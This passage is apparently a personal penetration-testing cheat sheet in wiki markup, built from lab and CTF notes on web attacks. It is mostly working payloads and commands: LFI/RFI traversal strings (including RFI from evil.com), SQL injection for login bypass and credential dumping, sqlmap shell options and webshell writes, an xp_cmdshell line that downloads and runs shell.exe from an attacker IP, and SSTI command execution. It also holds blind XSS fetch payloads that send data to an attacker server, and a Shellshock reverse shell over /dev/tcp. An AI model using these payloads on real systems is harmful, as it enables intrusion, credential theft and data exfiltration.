http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
